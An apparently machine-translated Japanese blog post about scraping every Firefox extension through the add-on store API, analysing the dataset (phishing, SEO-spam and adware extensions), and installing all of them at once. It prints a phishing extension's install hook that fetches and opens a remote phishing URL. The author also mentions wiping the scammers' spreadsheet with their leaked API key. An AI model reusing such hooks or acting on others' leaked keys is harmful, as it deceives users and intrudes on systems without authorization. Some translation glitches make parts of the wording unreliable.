Firefox 拡張機能の包括的解析：すべてのアドオンについて

スクレイピングに成功しなかったもの、またはウェブサイトを確認してからスクレイピングの間に行方不明になったものは 8 つだけであり、

extensions.json

すべての Firefox 拡張機能のスクレイピング

アドオンストアには公開 API が用意されており、認証不要で、一見するとレート制限も課されていないようです。それほど簡単でしょう。検索エンドポイントは空のクエリを受け付けることができるため、すべてのページを読み込んでみましょう：

let url = "https://addons.mozilla.org/api/v5/addons/search/?page_size=50&type=extension&app=firefox&appversion=150.0"
let extensions = []
let page = 1

while (true) {
    let res = await fetch(url)
    let data = await res.json()
    console.log(`PAGE ${page++}: ${data.results.length} EXTENSIONS`)
    extensions.push(...data.results)
    url = data.next
    if (!data.next) break
}

Bun.write("extensions-default.json", JSON.stringify(extensions))

検索 API は私がアクセスできるのは 600 ページまでで、それ以上は見ることができません。つまり、約 3 万個の拡張機能しか確認できず、その半分にも満たない数です。発見された解決策の一つは、異なるソート順を使用することでした。デフォルトのソートは

sort=recommended

sort=created

// 作成日付に基づいて「新しい」拡張機能を取得するソート順
let url = "https://addons.mozilla.org/api/v5/addons/search/?page_size=50&type=extension&app=firefox&appversion=150.0&sort=created"

Bun.write("extensions-newest.json", JSON.stringify(extensions))

異なるソート順からのデータをマージする：

import extensions_default from "../extensions-default.json"
import extensions_newest from "../extensions-newest.json"

let extensions = {}

// はい、何らかの理由で同じスラッグを二重に取得してしまいました
for (const ext of extensions_default) {
    extensions[ext.slug] = ext
}
for (const ext of extensions_newest) {
    extensions[ext.slug] = ext
}

console.log(`TOTAL UNIQUE EXTENSIONS: ${Object.keys(extensions).length}`)

結果：

~/Developer/every-addon> bun count

TOTAL UNIQUE EXTENSIONS: 54218

まだ 30,025 の拡張機能が見つからなかったので、評価（rating）と人気度（hotness）も加えてみました。

~/Developer/every-addon> bun count

TOTAL UNIQUE EXTENSIONS: 67458

更新日付（updated）を追加すると...

~/Developer/every-addon> bun count

TOTAL UNIQUE EXTENSIONS: 67945

これはすでに収穫逓減（ディミニッシングリターンズ）の領域に入ってきました。最後のリストを取得するためにコードを並列処理せず、7 間待たなければならない間に閃きました：

exclude_addons

let url = "https://addons.mozilla.org/api/v5/addons/search/?page_size=50&page=600&type=extension&app=firefox&appversion=150.0&sort=updated"
const page_600 = await fetch(url).then(res => res.json())
const page_601 = await fetch(
    `${url}&exclude_addons=${page_600.results.map(ext => ext.id).join(",")}`,
).then(res => res.json())

これでうまくいきます！ただし残念ながら URL の長さ制限があるため、追加で 20 ページしか取得できませんでした。

let url = "https://addons.mozilla.org/api/v5/addons/search/?page_size=50&page=600&type=extension&app=firefox&appversion=150.0&sort=created&exclude_addons="
let extensions = []
let page = 600

try {
    while (true) {
        let res = await fetch(url)
        let data = await res.json()
        console.log(`PAGE ${page++}: ${data.results.length} EXTENSIONS`)
        if (data.results.at(-1).id === extensions.at(-1)?.id) break 
        extensions.push(...data.results)
        url += data.results.map(ext => ext.id).join(",")
    }
} catch {}

Bun.write("created-2.json", JSON.stringify(extensions))

結果：

~/Developer/every-addon> bun count

TOTAL UNIQUE EXTENSIONS: 68035

予想よりもずっと少ない数字でした。特に、ダウンロード数をソート基準にするとさらに増えることを考慮すればなおさらです：

~/Developer/every-addon> bun count

TOTAL UNIQUE EXTENSIONS: 68901

ドキュメントを再度確認すると、カテゴリでフィルタリングすることもできることに気づきました。7 間待つのが嫌になったので、これからはすべてのページを並列で取得することにしました。

function get(url: string, path: string) {
    return Promise.all(
        Array.from({ length: 600 }, (_, i) => fetch(`${url}&page=${i + 1}`).then(res => res.json())),
    ).then(pages => {
        let extensions = pages.flatMap(page => page.results)
        Bun.write(path, JSON.stringify(extensions))
    })
}

const categories = await fetch("https://addons.mozilla.org/api/v5/addons/categories/").then(res => res.json(),)

await Promise.all(
    categories
        .filter(category => category.type === "extension")
        .map(category => {
            return get(
                `https://addons.mozilla.org/api/v5/addons/search/?page_size=50&type=extension&app=firefox&sort=created&category=${category.slug}&appversion=150.0`,
                `./newest-${category.slug}.json`,
            )
        }),
)

これでほぼすべての拡張機能を取得できてしまい、これまで試した方法がどうも愚かしく映ってしまいました。

~/Developer/every-addon> bun analyze

Found 84235 unique extensions

ウェブサイトに記載されている数よりも 8 少ないですが、2025 年 9 月にこのスクリプトを実行した際には、ウェブサイトに記載の数よりも 21 多く見つかりました。これで十分でしょう。

これを二度手間にするためにも、私はこのデータセットを Hugging Face にアップロードしました。あるいは、

addons-server

all_extensions.json

4 月 11 日の更新

検索 API は日付フィルターをサポートしています：

created__gte

created__lte

すべての Firefox 拡張機能の分析

Bun のコピーと

all_extensions.json

最も大きい拡張機能

最大規模の Firefox 拡張機能は dmitlichess で、サイズは 196.3 MB に達し、2,000 以上の音声ファイルを収めています。次に上位 10 つのリストはこちらです：

https://tane.us/ac

この分析を最初に実行した時（9 月に）、「Cute doggy - Dog puppies」は第 10 の拡張機能でした。当時の混乱ぶりを思い出させたので、ここでも言及します。

最小サイズの拡張機能は tabs-saver で、サイズは 7,518 バイトであり、コードは一切含まれていません。

最悪の拡張機能

主観的には「Cute doggy - Dog puppies」ですが、客観的に見ると（評価が 10 つ以上の拡張機能をフィルタリングし、バヨウ平均値が低い順にソート）：

it's Tab Stack for Firefox、lolicon 氏による開発作品です（?!?!?!?!?!）。

最初の拡張機能

Web Developer.

スクリーンショット数最多

RDS Bar が 54 枚のスクリーンショットを所持しています。

「中指エモジステッカー賞」

FalscheLaden はユーザー数がゼロですが、3,695 の許可要求を行っています。著者は解説を投稿しています。2 位は Google Dark Theme で、1,687 のユーザーを持ち、2,675 の許可要求を行っています。

最も多産な開発者

import extensions from "../all_extensions.json"
console.log(
    Object.values(
        Object.groupBy(
            extensions.flatMap(e => e.authors),
            author => author.id,
        ),
    ).sort((a, b) => b.length - a.length)[0][0],
)

Dr. B が「スラップ」の王様で、公開された拡張機能は 84 つもあり、すべてが「バイブコーディング（雰囲気重視のコード）」で作られています。どうやって判別したのかといえば、彼らの多くの拡張機能がアドオンレビューを通すためのプロセスについて述べる

README.md

フィッシング詐欺

データセット内で発見された暗号ウォレットに対するホモグリフ（同音異義語）攻撃のいくつかのソースをレビューしましたが、単に関税フレーズを入力させるフォームを表示し、それをサーバーに送信するだけの失望すべき存在であることを知りました。それは拡張機能です!!! 彼らの coinbase.com のトークンを盗むことができます！クリップボードを監視して、実際のアドレスをあなたのものと入れ替えることもできます！ブラウザをクラッシュさせて、実際のマルウェアである自分たちの修復プログラムだと主張することもできます！なぜ、偽の MetaMask 拡張機能を作り、1 星のレビューをボット（自動評価操作）するのでしょうか？

これは、自分たちの拡張機能に対して 4 星のレビューをボットするサイバー犯罪業者たちによる行為なのでしょうか？いずれにせよ、これらの拡張機能は明確なフィッシングです。いくつかを Mozilla に報告しましたが、翌日にはすべて削除されていました。私が報告し忘れたものも含めてです。アーカイブすることを忘れさせてしまったため、これらは 5 月の仮想マシン（VM）の中に生き永らえていることになりました。

実装方法において最も興味深いのは「Іron Wаllеt」（I, a, e の文字はキリル語）です。インストールから 3 セkunden 後、NocoDB スプレッドシートの最初のレコードからフィッシングページの URL を取得し、それを開きます：

var r = e("./lib/noco")
chrome.runtime.onInstalled.addListener(async () => {
    try {
        await new Promise(e => setTimeout(e, 3e3))
        let e = await (0, r.fetchUrlFromNocoRest)()
        e ? await chrome.tabs.create({ url: e }) : console.warn("No valid URL from NocoDB.")
    } catch (e) {
        console.error("Install flow failed:", e)
    }
})

拡張機能の説明にある「アカウントまたはリモートコードなし」という記述は、真に面白いです。YouTube が監視しているかもしれないという不安を慮って、動画の説明欄に「著作権侵害意図せず」と記載するようなものです。API キーには書き込み権限がありましたが、そのためスプレッドシートを消去しました。

SEO スパム

拡張機能ページと自分のページに「Homepage」リンクが表示されます。ここは 2 ヶ年ほど nofollow されていますが、それを阻止しようとする詐欺師たちがいます。試行錯誤第 1 の回では、Typo Sniper や Tab Fortune Teller という、AI が生成した拡張機能に出会い、著者の Homepage リンクにカジノが含まれていました。データセット内には、「Code Injector」という拡張機能がたくさんあり、これらはすべて実質的に同じで、著者の Homepage リンクにランダムなウェブサイトが含まれています。これらの拡張機能はすべて 2025 年のものでした。太古の SEO ガイドが回遊しているのでしょうか？悪意ある AMO フロントエンドからバックリンクを得ているのでしょうか？ここでは何が起きているのか理解できません。

PUAs（Potentially Unwanted Applications：潜在的に望ましくないアプリケーション）

パターンに気づきましたか？ほとんどすべてが「Custom Web Search」（カスタムウェブ検索）拡張機能をバンドルしています。「Maps Assist & Custom Web Search」には 138,082 のユーザー、「Package Tracking Tab & Custom Web Search」には 83,506 のユーザー、「Converter Suite & Custom Web Search」には 82,502 のユーザーいます...リストは Ezy Photo Tab、Easy Games Tab、Task Manager Tab などと続き、すべて「Custom Web Search」という名詞を含んでいます。

合計で70 万ユーザー以上。これらすべての拡張機能は、それぞれ著者の唯一のアップロードであり、独自のドメインを持っています。ほとんどすべてが Chrome と Firefox の両方にあり、ウェブサイトも同じ外見をしており、すべてのサービス条件で「Innover Online Group Ltd」という企業名が記されている（ただし .png ファイルとして）という点に共通しています。

すべての Firefox 拡張機能を二度スクレイピングしたため、2 回の間に行方不明になったものが確認できます。Innover Group の 3 つの拡張機能（Earth View 360°、View Manuals、View Recipes）は合計で 11.5 万のユーザーを持ちましたが、Mozilla から無効化されました。

Innover Group は、自分の拡張機能に対して Google アドを検出しており、ほとんどすべてが「続ける」ボタンしか表示しないものです。「Custom Web Search」は Yahoo ですが、アフィリエイトコードが組み込まれています。そのコードは

safeplexsearch

あるユーザーは、Ezy Speed Test が「インストール後に Ublock [sic] Origin を無効にする」と主張しましたが、そのコードには見つけることができませんでした。この種の企業は 100 万社あります。広告ブロックをオフにして Download.com にアクセスした際、Atom Apps という会社が広告に表示され、それも Chrome と Firefox の両方への拡張機能のアップロードを行っており、拡張機能ごとに新しいアカウントが作成されています。Firefox バージョンでは Yahoo だけが組み込まれており、名前には「and Search」または「& Search」で終わっています。サービス条件でも会社名の .png ファイルが表示されています。合計 12 の拡張機能で、毎日 20 万ユーザーが利用しています。これらの中にも Mozilla から無効化されたものは一つもありませんでした。

いくつかの統計データ

• 34.3% の拡張機能が日間ユーザーを持っていません

• 25.1% の拡張機能が 10 以上の日間ユーザーを持っています

• 10.6% の拡張機能が 100 以上の日間ユーザーを持っています

• 3.2% の拡張機能が 1,000 以上の日間ユーザーを持っています

• 0.7% の拡張機能が 10,000 以上の日間ユーザーを持っています

• 76.7% の拡張機能はオープンソースです（All Rights Reserved ではない SPDX ライセンス）

• 23% の拡張機能はこの記事を書き始めてから作成されています

• 19% の拡張機能には、ユーザー数もレビュー数もスクリーンショット数もダウンロード数もアイコンもありません

• 2.4% の拡張機能が支払いを要求しています

• そのうちの38.1% はオープンソースです???

すべての Firefox 拡張機能をインストールする

もちろん、それぞれを新しいタブで開いてプロンプトに進むわけではありません。試みていないわけではありません：[画像プレースホルダー]。各拡張機能には

current_version.file.url

guid

.xpi

addonStartup.json.lz4

extensions.json

extensions.json

const fs = require("fs") // なぜこれは CommonJS なのか？
const path = require("path")
// extensions.json のパス（Firefox のプロファイルディレクトリに合わせてください）
// なぜこれが大文字で始まるのか？
const extensionsJsonPath = "/Users/user/Library/Application Support/Firefox/Profiles/1avegyqd.default-release/extensions.json"

try {
    // extensions.json ファイルを読み込む
    const data = fs.readFileSync(extensionsJsonPath, "utf-8") // なぜこれは Node:FS/PROMISES ではないのか？
    const extensionsData = JSON.parse(data)
    // 拡張機能を修正する
    if (Array.isArray(extensionsData.addons)) {
        extensionsData.addons.forEach(addon => {
            addon.userDisabled = false
            addon.active = true
            addon.seen = true
        })
        // なぜここはガードではないのか？
    } else {
        console.error("Unexpected format: addons property is missing or not an array.")
        process.exit(1)
    }
    // 更新されたデータを extensions.json に書き戻す
    fs.writeFileSync(extensionsJsonPath, JSON.stringify(extensionsData, null, 2))
    console.log("All extensions enabled successfully!")
} catch (error) {
    console.error("Error processing extensions.json:", error)
}

試行 0：65,335 個

最初の試みは、デスクトップ上の極めて小さな 11 コア VM で行いました。最初にはスクリプトですべてをダウンロードする代わりに、エンタープライズポリシーを使用しようとしたが、これではすべての拡張機能がフォルダにコピーされてしまいます。すぐにメモリ不足になり、ページファイルが VM に割り当てられた残りのストレージを占拠しました。また、Firefox が即座に開き、ブラウザ使用中に拡張機能が自動的にインストールされることを期待しましたが、それも起こりませんでした：単にフリーズするだけでした。

試行 1：約 1,000 個

その後、自分でダウンロードしようとしました。

import extensions from "./all_extensions.json"
import { exists } from "node:fs/promises"

let progress = 0
let count = extensions.length
const PATH_TO_EXTENSIONS_FOLDER = "C:\\Users\\user\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\mkrso47f.default-release\\"

await Promise.all(
    extensions.map(async ext => {
        if (await exists(PATH_TO_EXTENSIONS_FOLDER + ext.guid + ".xpi")) {
            progress++
        } else {
            console.log("Downloading", ext.current_version.file.url)
            const file = await fetch(ext.current_version.file.url)
            await Bun.write(PATH_TO_EXTENSIONS_FOLDER + ext.guid + ".xpi", file)
            console.log("Downloaded", ext.slug, `${(++progress / count) * 100}% done`)
        }
    }),
)

正しい方法で拡張機能がインストールされていることを確認するために、拡張機能フォルダを別の場所に移動し、その後約 1,000 の拡張機能を元に戻しました。それはうまくいきました。ある文字列にすべてのテキストを変更する複数の拡張機能がありましたが。bruh-ifier は Se ni važn に敗北しました。背景にはゴクウ（悟空）がいます。コンテキストメニュー настолько長くて横に見せている：[画像プレースホルダー]。

多くの保護拡張機能をインストールしていました。そのうちの一つは

.zip

.mov

function isPhishingURL(url) {
    const suspiciousPatterns = [
        /[\.\-]login[\.\-]/i,
        /[\.\-]secure[\.\-]/i,
        /[\.\-]account[\.\-]/i,
        /[\.\-]verify[\.\-]/i,
        /[a-z0-9\-]{1,}\.com\.xyz/i,
        /https?:\/\/(?!www\.)[a-z0-9\-]+\.([a-z]{2,}){2,}/i,
    ]
    return suspiciousPatterns.some(pattern => pattern.test(url))
}

Vasavi Fraudulent Detector も、サイトが安全な場合にポップアップを表示します：

$.sweetModal({ title: "Vasavi Fraudulent Detector", content: "Safe Webpage !!", icon: $.sweetModal.ICON_SUCCESS, buttons: [{ label: "Continue", classes: "greenB" }] })

試行 2：65,335 個

実際には、試行 1 の拡張機能しか読み込まれませんでした。なぜなら

addonStartup.json.lz4

試行 3：65,335 個（Mac 版）

その後、より強力なデバイス上で再試行するために、Mac で新しい（管理者権限なしの）ユーザーを作成しました。スクリプトが一つずつ拡張機能をダウンロードしているのを 6 時間眺めるたび、「ああ、また認識した」と思っていました。おっと、私は今 AMO の専門家のようになりました！並列処理は最後の 4,000 個で遅くなり始めましたが、Windows VM ではそのような現象はありませんでした。これが完了した頃には、私のハードウェアでは 65,335 の拡張機能を一度に実行できないことがわかりました。残念ながら、ウィンドウを開いてから数時間後（測定しなかった）には起動しますが、それ以来反応がありませんでした。一夜にしてノートパソコンを動かす勇気はありませんでした。Firefox は 400 GB 以上のディスク書き込みを行いました。スワップが存在することを忘れ、 culprit を探すためにプロファイルをチェックした際、

addonStartup.json.lz4

extensions.json

extensions.json

extensions.json

試行 4-10：1,000〜6,000 個

私の解決策は、一度に 1,000 個ずつ追加して、Firefox の起動に時間がかかりすぎるまで増やしていくことです。6,000 個に達しました。3,000 個の時点で少なくともウェブページを読み込むことができました。

4,000 個以上の拡張機能では、経験はほぼ同じでした。私の動画（てんかんの警告）：[ビデオプレースホルダー]。5,000 個は 4,000 個と同じでしたが、すべてのウェブサイトは「S」で始まり、「Blocker」で終わり、CJK 文字のロゴを持つ拡張機能によってブロックされていました。6,000 個の時点で、読み込むことができたのは

about:addons

試行 11：84,194 個（6 ヶ月後）

私のデスクトップは RAM が 16 GB、ノートパソコンは統一メモリで 24 GB です。おそらく 49.3 GB はそれの倍以上であることを認識しているでしょう。友人に手伝ってもらうよう頼みました。これからご覧になる記録は、5 月の仮想マシンで行われました。本家のプロフィールではこれを試さないでください。

ダウンロード

ダウンロードスクリプトは並列処理で開始し、その後速度が低下したため直列処理に変更しました。合計でダウンロードには約 1 時間 43 分かかりました。通話中ずっと進行しており、ログにいくつか奇妙な拡張機能を見付けました。「KiwiFarms Math Renderer」というのはどのような怪物が使うのでしょうか？Soytivity の理論を起草しているのでしょうか？Mullvad VPN をオンにしてテルアビブ経由でルーティングするとプロセスが早くなりました。これはビッグヤフー（Big Yahu）のためではありませんでしたが、5 月がスクリプトを再起動したため、数回繰り返されたからです。それが Bun のバグかどうかはわかりませんし、関心もありません。5 月は「バージョン 2」について冗談を話し、私はその考えに嫌悪感を抱いています。Defender は HackTools という拡張機能をマルウェアとしてマークしました。その後 5 月がフォルダを除外したため、それが唯一のものではないかもしれません。

ランチ 1

Firefox は extensions.json を再作成するのにおおらかな時間を使い続け、サイズは増加し続けました。約 39 分間、Firefox がスケルトンを表示した後（つまり「まだ第 2 フレームを描画していない」状態）に、サイズは 189 MB に達し：新記録です！5 月が Firefox を終了し、

enable.js

なぜこれがそんなに時間のかかるのかを調査しました。13 年前、extensions.json は extensions.sqlite でした。現在では extensions.json は完全にシリアライズされ、書き込みごとにデバウンドされた 20 ms で再記述されます。これは 15 の拡張機能であれば問題ありませんが、84,194 の場合ではそうはいきません。

ランチ 2

やっとブラウザが表示されました。オンボーディングタブが徐々に現れましたが、一向に読み込まれません。3 分後、Firefox がクラッシュしました。

ランチ 3

5 月がそれを再起動し、シャワーを浴びて戻ってきました：[画像プレースホルダー]。STABILIZED（安定化）。あなたは（やっと）すべての 8 万個の拡張機能で Firefox を実行できます。ええ、私たちはたしかに 8 万個の拡張機能がインストールされていることをかなり確信していました。Tab Counter は少なくとも含まれており、拡張機能パネルのスクロールバーは非常に巨大でした。

すべての Firefox 拡張機能の使用

それは動作します。

about:addons

私たちはこのプロセス全体を記録しました。メモリ使用量は常に 27 GB から 37 GB の間で変動していました。実は May の mt-rpc 拡張機能も含め、ほぼすべての拡張機能を保有していました。「about:addons」がなぜ 6 時間読み込まれたのかはまだわかりません。最初の理論を確認し、拡張機能アイコンがラズーで読み込まれない（皮肉なことに、さらに 8 万個のリクエストを送る）という仮説を、Firefox のワンラインパッチを適用して 3,000 個（無効化された）の拡張機能を Mac にインストールしてテストしました。Firefox をコンパイルする際に試行 3 の拡張機能を削除してストレージを解放する必要がありました。Firefox がフリーズした時間が短縮されたと考えるのは難しいです。公平に言うと、試行 11 と比べて拡張機能は 28 倍少ないので、問題はこの規模でしか現れないのかもしれません。

about:support

うわあ、多くの拡張機能です。ただし確信はできません。May に DevTools を開いて

$("#addons-tbody tr").length

about:support

about:preferences

私たちは、New Tab オプションからどれくらい選択できるか確認したいと考えていました。クラッシュレポートもオンにしました。

New Tab

どの拡張機能が良いでしょうか？答えは「どれもではありません」です。New Tab ページは、New Tab に対して選択した拡張機能に関わらず一向に読み込まれませんでした。Firefox Home のみが即座に開かれただけです。

moz-extension

buyPal（1 ユーザー）の拡張機能からのページが、私たちの操作なしで開かれ、その時点で開いていた他のタブを置き換えました。これはロードされました：about: ページ以外でこれを行った唯一のページです。その後 Firefox は再度クラッシュしました。

example.com

コンテンツスクリプトを実行できる最初のページです。試行 9 のように、すべてのウェブサイトをブロックする複数の拡張機能があったはずです。ただし問題にはなりませんでした。なぜなら、タブを 24 時間開けておき、一向に読み込まなかったからです。

about:telemetry

読み込まれた後、彼女は Environment Data をクリックしてブラウザがクラッシュしました。

これは使用可能でしょうか？

いいえ。

さらなる潜在的な探求

• なぜ

  about:addons

  が 6 時間読み込まれ、なぜ

  example.com

  が一向に読み込まれないのかを突き止める。
• Firefox だけが .xpi をサポートするブラウザではありません：Kagi Orion や GNOME Web も WebKit です。Orion はバッチインストールをサポートしていないため試さず、Web は拡張機能ゼロでも十分遅いです。
• 私たちは意図的にすべてのアドオンではなく、すべての拡張機能（add-on）をインストールしました。テーマの多くをインストールすると何が起こるかは显而易しいものであり、50 万ものテーマがあり、これを合理的にテストしたりスクレイピングしたりすることは不可能です。
• すべてのユーザースクリプトとユーザースタイルをインストール？これらには中央データベースがありません。さらに、Stylus はバックアップに対してハードコードされた 1 GB の制限を持っており、この制限をパッチ修正した後、新しい変なエラーが発生しました。
• すべての Chrome 拡張機能をインストール？いいえ、冗談です。それだけ多くあり、スクレイピングするのは容易ではありません。

データの不整合

all_extensions.json

extensions.json

*この記事は 2026 年 4 月に発表されましたが、最初のバージョン、スクレイピングスクリプトを含むものは 2025 年 9 月に書かれました。最終スクリプトを再実行し、Claude に数字を更新させました。データを再スクレイピングする代わりに、中間ファイルを使用して後方から計算を行いました（再スクレイピングはデータが変化した時点で正確ではなくなります）。不足数のカウントは私が自分で更新しました。なぜなら、それは最後の数が 84,000（私がかかていた通り）と仮定し、84,243 ではなかったためです。

*伏字（フォースローディング）は、著者が読者に対し、物語の後半で起こるまたは後に現れる何らかの出来事を示唆するために使用する文学的技法です。